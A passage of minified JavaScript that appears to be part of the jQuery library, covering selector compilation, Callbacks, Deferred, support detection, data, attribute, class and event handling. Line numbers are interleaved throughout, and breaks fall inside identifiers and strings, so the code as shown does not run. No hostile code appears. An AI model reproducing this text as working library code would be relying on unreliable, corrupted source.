476(h=N[b]);b++){if(a&&h){g=0;while(m=e[g++])if(m(h,l,c)){p.push(h);break}w&&(T=k,i=++n)}r&&((h=!m&&h)
477
478&&v--,s&&x.push(h))}if(v+=b,r&&b!==v){g=0;while(m=t[g++])m(x,y,l,c);if(s){if(v>0)while(b--)x[b]||y[b]||(y[b]
479
480=q.call(p));y=xt(y)}M.apply(p,y),w&&!s&&y.length>0&&v+t.length>1&&at.uniqueSort(p)}return w&&
481
482(T=k,u=C),x};return r?lt(s):s}l=at.compile=function(e,t){var n,r=[],i=[],o=E[e+" "];if(!o){t||(t=mt
483
484(e)),n=t.length;while(n--)o=Tt(t[n]),o[b]?r.push(o):i.push(o);o=E(e,Ct(i,r))}return o};function Nt(e,t,n){var
485
486r=0,i=t.length;for(;i>r;r++)at(e,t[r],n);return n}function kt(e,t,n,i){var a,s,u,c,p,f=mt(e);if(!i&&1===f.length){if
487
488(s=f[0]=f[0].slice(0),s.length>2&&"ID"===(u=s[0]).type&&r.getById&&9===t.nodeType&&h&&o.relative[s
489
490[1].type]){if(t=(o.find.ID(u.matches[0].replace(rt,it),t)||[])[0],!t)return n;e=e.slice(s.shift().value.length)}
491
492a=Q.needsContext.test(e)?0:s.length;while(a--){if(u=s[a],o.relative[c=u.type])break;if((p=o.find[c])&&(i=p
493
494(u.matches[0].replace(rt,it),V.test(s[0].type)&&t.parentNode||t))){if(s.splice(a,1),e=i.length&&yt(s),!e)return
495
496M.apply(n,i),n;break}}}return l(e,f)(i,t,!h,n,V.test(e)),n}r.sortStable=b.split("").sort(A).join("")
497
498===b,r.detectDuplicates=S,p(),r.sortDetached=ut(function(e){return 1&e.compareDocumentPosition
499
500(f.createElement("div"))}),ut(function(e){return e.innerHTML="<a
501
502href='#'></a>","#"===e.firstChild.getAttribute("href")})||ct("type|href|height|width",function(e,n,r){return r?
503
504t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),r.attributes&&ut(function(e){return
505
506e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||ct
507
508("value",function(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ut(function(e)
509
510{return null==e.getAttribute("disabled")})||ct(B,function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))
511
512&&i.specified?i.value:e[n]===!0?n.toLowerCase():null}),x.find=at,x.expr=at.selectors,x.expr[":"]
513
514=x.expr.pseudos,x.unique=at.uniqueSort,x.text=at.getText,x.isXMLDoc=at.isXML,x.contains=at.contains}(e);var
515
516O={};function F(e){var t=O[e]={};return x.each(e.match(T)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e)
517
518{e="string"==typeof e?O[e]||F(e):x.extend({},e);var n,r,i,o,a,s,l=[],u=!e.once&&[],c=function(t){for
519
520(r=e.memory&&t,i=!0,a=s||0,s=0,o=l.length,n=!0;l&&o>a;a++)if(l[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!
521
5221;break}n=!1,l&&(u?u.length&&c(u.shift()):r?l=[]:p.disable())},p={add:function(){if(l){var t=l.length;(function i
523
524(t){x.each(t,function(t,n){var r=x.type(n);"function"===r?e.unique&&p.has(n)||l.push
525
526(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=l.length:r&&(s=t,c(r))}return this},remove:function
527
528(){return l&&x.each(arguments,function(e,t){var r;while((r=x.inArray(t,l,r))>-1)l.splice(r,1),n&&
529
530(o>=r&&o--,a>=r&&a--)}),this},has:function(e){return e?x.inArray(e,l)>-1:!(!l||!l.length)},empty:function()
531
532{return l=[],o=0,this},disable:function(){return l=u=r=t,this},disabled:function(){return!l},lock:function(){return
533
534u=t,r||p.disable(),this},locked:function(){return!u},fireWith:function(e,t){return!l||i&&!u||(t=t||[],t=
535
536[e,t.slice?t.slice():t],n?u.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function
537
538(){return!!i}};return p},x.extend({Deferred:function(e){var t=[["resolve","done",x.Callbacks("once
539
540memory"),"resolved"],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x.Callbacks
541
542("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail
543
544(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var
545
546a=o[0],s=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&x.isFunction
547
548(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"With"](this===r?n.promise
549
550():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return
551
552r.pipe=r.then,x.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e]
553
554[2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]
555
556=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=g.call(arguments),r=n.length,i=1!==r||
557
558e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]
559
560=arguments.length>1?g.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,l,u;if(r>1)for
561
562(s=Array(r),l=Array(r),u=Array(r);r>t;t++)n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(a(t,u,n)).fail
563
564(o.reject).progress(a(t,l,s)):--i;return i||o.resolveWith(u,n),o.promise()}}),x.support=function(t){var
565
566n,r,o,s,l,u,c,p,f,d=a.createElement("div");if(d.setAttribute("className","t"),d.innerHTML="
567
568<link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=d.getElementsByTagName("*")||
569
570[],r=d.getElementsByTagName("a")[0],!r||!r.style||!n.length)return t;s=a.createElement
571
572("select"),u=s.appendChild(a.createElement("option")),o=d.getElementsByTagName("input")
573
574[0],r.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!
575
576==d.className,t.leadingWhitespace=3===d.firstChild.nodeType,t.tbody=!d.getElementsByTagName
577
578("tbody").length,t.htmlSerialize=!!d.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute
579
580("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(r.style.opacity),t.cssFloat=!!
581
582r.style.cssFloat,t.checkOn=!!o.value,t.optSelected=u.selected,t.enctype=!!a.createElement
583
584("form").enctype,t.html5Clone="<:nav></:nav>"!==a.createElement("nav").cloneNode(!
585
5860).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!
587
5880,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!
589
5900,t.noCloneChecked=o.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!u.disabled;try{delete d.test}catch
591
592(h){t.deleteExpando=!1}o=a.createElement("input"),o.setAttribute("value",""),t.input=""===o.getAttribute
593
594("value"),o.value="t",o.setAttribute("type","radio"),t.radioValue="t"===o.value,o.setAttribute
595
596("checked","t"),o.setAttribute("name","t"),l=a.createDocumentFragment(),l.appendChild
597
598(o),t.appendChecked=o.checked,t.checkClone=l.cloneNode(!0).cloneNode(!
599
6000).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!
601
6020).click());for(f in{submit:!0,change:!0,focusin:!0})d.setAttribute(c="on"+f,"t"),t[f+"Bubbles"]=c in e||
603
604d.attributes[c].expando===!1;d.style.backgroundClip="content-box",d.cloneNode(!
605
6060).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip;for(f in x(t))break;return
607
608t.ownLast="0"!==f,x(function(){var n,r,o,s="padding:0;margin:0;border:0;display:block;box-sizing:content-
609
610box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",l=a.getElementsByTagName("body")
611
612[0];l&&(n=a.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-
613
6149999px;margin-top:1px",l.appendChild(n).appendChild
615
616(d),d.innerHTML="<table><tr><td></td><td>t</td></tr></table>",o=d.getElementsByTagName("td"),o
617
618[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===o[0].offsetHeight,o[0].style.display="",o
619
620[1].style.display="none",t.reliableHiddenOffsets=p&&0===o
621
622[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-
623
624box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-
625
626top:1%;position:absolute;top:1%;",x.swap(l,null!=l.style.zoom?{zoom:1}:{},function()
627
628{t.boxSizing=4===d.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle
629
630(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||
631
632{width:"4px"}).width,r=d.appendChild(a.createElement
633
634("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMar
635
636ginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&
637
638(d.innerHTML="",d.style.cssText=s
639
640+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="
641
642block",d.innerHTML="<div></div>",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!
643
644==d.offsetWidth,t.inlineBlockNeedsLayout&&(l.style.zoom=1)),l.removeChild
645
646(n),n=d=o=r=null)}),n=s=l=u=r=o=null,t
647}({});var B=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;function R(e,n,r,i){if(x.acceptData(e)){var
648
649o,a,s=x.expando,l=e.nodeType,u=l?x.cache:e,c=l?e[s]:e[s]&&s;if(c&&u[c]&&(i||u[c].data)||r!==t||"string"!
650
651=typeof n)return c||(c=l?e[s]=p.pop()||x.guid++:s),u[c]||(u[c]=l?{}:{toJSON:x.noop}),("object"==typeof
652
653n||"function"==typeof n)&&(i?u[c]=x.extend(u[c],n):u[c].data=x.extend(u[c].data,n)),a=u[c],i||(a.data||
654
655(a.data={}),a=a.data),r!==t&&(a[x.camelCase(n)]=r),"string"==typeof n?(o=a[n],null==o&&(o=a[x.camelCase
656
657(n)])):o=a,o}}function W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e
658
659[x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?
660
661t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--)delete r[t[i]];if(n?!I(r):!x.isEmptyObject(r))
662
663return}(n||(delete a[s].data,I(a[s])))&&(o?x.cleanData([e],!0):x.support.deleteExpando||a!=a.window?delete
664
665a[s]:a[s]=null)}}}x.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-
666
667444553540000"},hasData:function(e){return e=e.nodeType?x.cache[e[x.expando]]:e[x.expando],!!e&&!I
668
669(e)},data:function(e,t,n){return R(e,t,n)},removeData:function(e,t){return W(e,t)},_data:function(e,t,n){return
670
671R(e,t,n,!0)},_removeData:function(e,t){return W(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!
672
673==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&x.noData[e.nodeName.toLowerCase
674
675()];return!t||t!==!0&&e.getAttribute("classid")===t}}),x.fn.extend({data:function(e,n){var r,i,o=null,a=0,s=this
676
677[0];if(e===t){if(this.length&&(o=x.data(s),1===s.nodeType&&!x._data(s,"parsedAttrs"))){for
678
679(r=s.attributes;r.length>a;a++)i=r[a].name,0===i.indexOf("data-")&&(i=x.camelCase(i.slice(5)),$(s,i,o
680
681[i]));x._data(s,"parsedAttrs",!0)}return o}return"object"==typeof e?this.each(function(){x.data
682
683(this,e)}):arguments.length>1?this.each(function(){x.data(this,e,n)}):s?$(s,e,x.data
684
685(s,e)):null},removeData:function(e){return this.each(function(){x.removeData(this,e)})}});function $(e,n,r){if
686
687(r===t&&1===e.nodeType){var i="data-"+n.replace(P,"-$1").toLowerCase();if(r=e.getAttribute
688
689(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:B.test(r)?x.parseJSON
690
691(r):r}catch(o){}x.data(e,n,r)}else r=t}return r}function I(e){var t;for(t in e)if(("data"!==t||!x.isEmptyObject(e
692
693[t]))&&"toJSON"!==t)return!1;return!0}x.extend({queue:function(e,n,r){var i;return e?(n=
694
695(n||"fx")+"queue",i=x._data(e,n),r&&(!i||x.isArray(r)?i=x._data(e,n,x.makeArray(r)):i.push(r)),i||
696
697[]):t},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks
698
699(e,t),a=function(){x.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift
700
701("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t
702
703+"queueHooks";return x._data(e,n)||x._data(e,n,{empty:x.Callbacks("once memory").add(function()
704
705{x._removeData(e,t+"queue"),x._removeData(e,n)})})}}),x.fn.extend({queue:function(e,n){var
706
707r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?x.queue(this[0],e):n===t?this:this.each
708
709(function(){var t=x.queue(this,e,n);x._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&x.dequeue
710
711(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return
712
713e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function()
714
715{clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var
716
717r,i=1,o=x.Deferred(),a=this,s=this.length,l=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&
718
719(n=e,e=t),e=e||"fx";while(s--)r=x._data(a[s],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(l));return l
720
721(),o.promise(n)}});var z,X,U=/[\t\r\n\f]/g,V=/\r/g,Y=/^(?:input|select|textarea|button|object)$/i,J=/^(?:a|
722
723area)$/i,G=/^(?:checked|selected)$/i,Q=x.support.getSetAttribute,K=x.support.input;x.fn.extend
724
725({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return
726
727this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access
728
729(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return e=x.propFix[e]||e,this.each(function()
730
731{try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,l="string"==typeof
732
733e&&e;if(x.isFunction(e))return this.each(function(t){x(this).addClass(e.call(this,t,this.className))});if(l)for(t=
734
735(e||"").match(T)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(U,"
736
737"):" ")){o=0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=x.trim(r)}return
738
739this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,l=0===arguments.length||"string"==typeof
740
741e&&e;if(x.isFunction(e))return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))});if(l)
742
743for(t=(e||"").match(T)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+"
744
745").replace(U," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?
746
747x.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?
748
749this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call
750
751(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,o=x(this),a=e.match(T)||[];while
752
753(t=a[r++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else(n===i||"boolean"===n)&&
754
755(this.className&&x._data(this,"__className__",this.className),this.className=this.className||e===!
756
7571?"":x._data(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if
758
759(1===this[n].nodeType&&(" "+this[n].className+" ").replace(U," ").indexOf(t)>=0)return!0;return!
760
7611},val:function(e){var n,r,i,o=this[0];{if(arguments.length)return i=x.isFunction(e),this.each(function(n){var
762
763o;1===this.nodeType&&(o=i?e.call(this,n,x(this).val()):e,null==o?o="":"number"==typeof o?o+="":x.isArray(o)
764
765&&(o=x.map(o,function(e){return null==e?"":e+""})),r=x.valHooks[this.type]||x.valHooks
766
767[this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,o,"value")!==t||(this.value=o))});if(o)return
768
769r=x.valHooks[o.type]||x.valHooks[o.nodeName.toLowerCase()],r&&"get"in r&&(n=r.get(o,"value"))!==t?n:
770
771(n=o.value,"string"==typeof n?n.replace(V,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var
772
773t=x.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var
774
775t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;for
776
777(;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute
778
779("disabled"))||n.parentNode.disabled&&x.nodeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o)return
780
781t;a.push(t)}return a},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),a=i.length;while(a--)r=i[a],
782
783(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0);return n||(e.selectedIndex=-1),o}}},attr:function(e,n,r){var
784
785o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return typeof e.getAttribute===i?x.prop(e,n,r):
786
787(1===s&&x.isXMLDoc(e)||(n=n.toLowerCase(),o=x.attrHooks[n]||(x.expr.match.bool.test(n)?X:z)),r===t?
788
789o&&"get"in o&&null!==(a=o.get(e,n))?a:(a=x.find.attr(e,n),null==a?t:a):null!==r?o&&"set"in o&&(a=o.set
790
791(e,r,n))!==t?a:(e.setAttribute(n,r+""),r):(x.removeAttr(e,n),t))},removeAttr:function(e,t){var
792
793n,r,i=0,o=t&&t.match(T);if(o&&1===e.nodeType)while(n=o[i++])r=x.propFix[n]||n,x.expr.match.bool.test(n)?
794
795K&&Q||!G.test(n)?e[r]=!1:e[x.camelCase("default-"+n)]=e[r]=!1:x.attr(e,n,""),e.removeAttribute(Q?
796
797n:r)},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input")){var
798
799n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:
800
801{"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!
802
803==s)return a=1!==s||!x.isXMLDoc(e),a&&(n=x.propFix[n]||n,o=x.propHooks[n]),r!==t?o&&"set"in o&&(i=o.set
804
805(e,r,n))!==t?i:e[n]=r:o&&"get"in o&&null!==(i=o.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var
806
807t=x.find.attr(e,"tabindex");return t?parseInt(t,10):Y.test(e.nodeName)||J.test(e.nodeName)&&e.href?0:-
808
8091}}}}),X={set:function(e,t,n){return t===!1?x.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&x.propFix
810
811[n]||n,n):e[x.camelCase("default-"+n)]=e[n]=!0,n}},x.each(x.expr.match.bool.source.match(/\w+/g),function
812
813(e,n){var r=x.expr.attrHandle[n]||x.find.attr;x.expr.attrHandle[n]=K&&Q||!G.test(n)?function(e,n,i){var
814
815o=x.expr.attrHandle[n],a=i?t:(x.expr.attrHandle[n]=t)!=r(e,n,i)?n.toLowerCase():null;return x.expr.attrHandle
816
817[n]=o,a}:function(e,n,r){return r?t:e[x.camelCase("default-"+n)]?n.toLowerCase():null}}),K&&Q||
818
819(x.attrHooks.value={set:function(e,n,r){return x.nodeName(e,"input")?(e.defaultValue=n,t):z&&z.set
820
821(e,n,r)}}),Q||(z={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode
822
823(i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.getAttribute(r)?
824
825n:t}},x.expr.attrHandle.id=x.expr.attrHandle.name=x.expr.attrHandle.coords=function(e,n,r){var i;return r?t:
826
827(i=e.getAttributeNode(n))&&""!==i.value?i.value:null},x.valHooks.button={get:function(e,n){var
828
829r=e.getAttributeNode(n);return r&&r.specified?r.value:t},set:z.set},x.attrHooks.contenteditable={set:function
830
831(e,t,n){z.set(e,""===t?!1:t,n)}},x.each(["width","height"],function(e,n){x.attrHooks[n]={set:function(e,r)
832
833{return""===r?(e.setAttribute(n,"auto"),r):t}}})),x.support.hrefNormalized||x.each(["href","src"],function(e,t)
834
835{x.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),x.support.style||(x.attrHooks.style=
836
837{get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t
838
839+""}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&
840
841(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),x.each
842
843(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBord
844
845er","contentEditable"],function(){x.propFix[this.toLowerCase()]=this}),x.support.enctype||
846
847(x.propFix.enctype="encoding"),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,n)
848
849{return x.isArray(n)?e.checked=x.inArray(x(e).val(),n)>=0:t}},x.support.checkOn||(x.valHooks
850
851[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Z=/^(?:input|select|
852
853textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)
854
855(?:\.(.+)|)$/;function it(){return!0}function ot(){return!1}function at(){try{return a.activeElement}catch(e){}}
856
857x.event={global:{},add:function(e,n,r,o,a){var s,l,u,c,p,f,d,h,g,m,y,v=x._data(e);if(v){r.handler&&
858
859(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=x.guid++),(l=v.events)||(l=v.events={}),(f=v.handle)||
860
861(f=v.handle=function(e){return typeof x===i||e&&x.event.triggered===e.type?t:x.event.dispatch.apply
862
863(f.elem,arguments)},f.elem=e),n=(n||"").match(T)||[""],u=n.length;while(u--)s=rt.exec(n[u])||[],g=y=s[1],m=
864
865(s[2]||"").split(".").sort(),g&&(p=x.event.special[g]||{},g=(a?p.delegateType:p.bindType)||
866
867g,p=x.event.special[g]||{},d=x.extend
868
869({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&x.expr.match.needsContext.test
870
871(a),namespace:m.join(".")},c),(h=l[g])||(h=l[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||
872
873(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on"+g,f))),p.add&&(p.add.call
874
875(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount++,0,d):h.push(d),x.event.global[g]
876
877=!0);e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,p,f,d,h,g,m=x.hasData(e)&&x._data(e);if(m&&
878
879(c=m.events)){t=(t||"").match(T)||[""],u=t.length;while(u--)if(s=rt.exec(t[u])||[],d=g=s[1],h=(s[2]||"").split
880
881(".").sort(),d){p=x.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\
882
883\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;while(o--)a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||
884
885s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice
886
887(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a));l&&!f.length&&
888
889(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||x.removeEvent(e,d,m.handle),delete c[d])}else for(d in
890
891c)x.event.remove(e,d+t[u],n,r,!0);x.isEmptyObject(c)&&(delete m.handle,x._removeData
892
893(e,"events"))}},trigger:function(n,r,i,o){var s,l,u,c,p,f,d,h=[i||a],g=v.call(n,"type")?n.type:n,m=v.call
894
895(n,"namespace")?n.namespace.split("."):[];if(u=f=i=i||a,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g
896
897+x.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),l=0>g.indexOf(":")
898
899&&"on"+g,n=n[x.expando]?n:new x.Event(g,"object"==typeof n&&n),n.isTrigger=o?2:3,n.namespace=m.join
900
901("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|
902
903$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:x.makeArray(r,[n]),p=x.event.special[g]||{},o||!
904
905p.trigger||p.trigger.apply(i,r)!==!1)){if(!o&&!p.noBubble&&!x.isWindow(i)){for(c=p.delegateType||g,nt.test(c
906
907+g)||(u=u.parentNode);u;u=u.parentNode)h.push(u),f=u;f===(i.ownerDocument||a)&&h.push
908
909(f.defaultView||f.parentWindow||e)}d=0;while((u=h[d++])&&!n.isPropagationStopped())n.type=d>1?
910
911c:p.bindType||g,s=(x._data(u,"events")||{})[n.type]&&x._data(u,"handle"),s&&s.apply(u,r),s=l&&u
912
913[l],s&&x.acceptData(u)&&s.apply&&s.apply(u,r)===!1&&n.preventDefault();if(n.type=g,!o&&!
914
915n.isDefaultPrevented()&&(!p._default||p._default.apply(h.pop(),r)===!1)&&x.acceptData(i)&&l&&i[g]&&!
916
917x.isWindow(i)){f=i[l],f&&(i[l]=null),x.event.triggered=g;try{i[g]()}catch(y){}x.event.triggered=t,f&&(i[l]=f)}
918
919return n.result}},dispatch:function(e){e=x.event.fix(e);var n,r,i,o,a,s=[],l=g.call(arguments),u=(x._data
920
921(this,"events")||{})[e.type]||[],c=x.event.special[e.type]||{};if(l[0]=e,e.delegateTarget=this,!c.preDispatch||
922
923c.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),n=0;while((o=s[n++])&&!
924
925e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a++])&&!
926
927e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(i.namespace))&&
928
929(e.handleObj=i,e.data=i.data,r=((x.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,l),r!==t&&
930
931(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return c.postDispatch&&c.postDispatch.call
932
933(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],l=n.delegateCount,u=e.target;if(l&&u.nodeType&&(!
934
935e.button||"click"!==e.type))for(;u!=this;u=u.parentNode||this)if(1===u.nodeType&&(u.disabled!==!
936
9370||"click"!==e.type)){for(o=[],a=0;l>a;a++)i=n[a],r=i.selector+" ",o[r]===t&&(o[r]=i.needsContext?x
938
939(r,this).index(u)>=0:x.find(r,this,null,[u]).length),o[r]&&o.push(i);o.length&&s.push({elem:u,handlers:o})}
940
941return n.length>l&&s.push({elem:this,handlers:n.slice(l)}),s},fix:function(e){if(e[x.expando])return e;var
942
943t,n,r,i=e.type,o=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:
944
945{}),r=s.props?this.props.concat(s.props):this.props,e=new x.Event(o),t=r.length;while(t--)n=r[t],e[n]=o
946
947[n];return e.target||(e.target=o.srcElement||a),3===e.target.nodeType&&
948
949(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,o):e},props:"altKey bubbles
950
951cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view
952
953which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return
954
955null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons
956
957clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function
958
959(e,n){var r,i,o,s=n.button,l=n.fromElement;return null==e.pageX&&null!=n.clientX&&
960
961(i=e.target.ownerDocument||a,o=i.documentElement,r=i.body,e.pageX=n.clientX+(o&&o.scrollLeft||
962
963r&&r.scrollLeft||0)-(o&&o.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(o&&o.scrollTop||
964
965r&&r.scrollTop||0)-(o&&o.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&l&&
966
967(e.relatedTarget=l===e.target?n.toElement:l),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:
968
969{load:{noBubble:!0},focus:{trigger:function(){if(this!==at()&&this.focus)try{return this.focus(),!1}catch(e)
970
971{}},delegateType:"focusin"},blur:{trigger:function(){return this===at()&&this.blur?(this.blur(),!
972
9731):t},delegateType:"focusout"},click:{trigger:function(){return x.nodeName(this,"input")
974
975&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return x.nodeName
976
977(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&
978
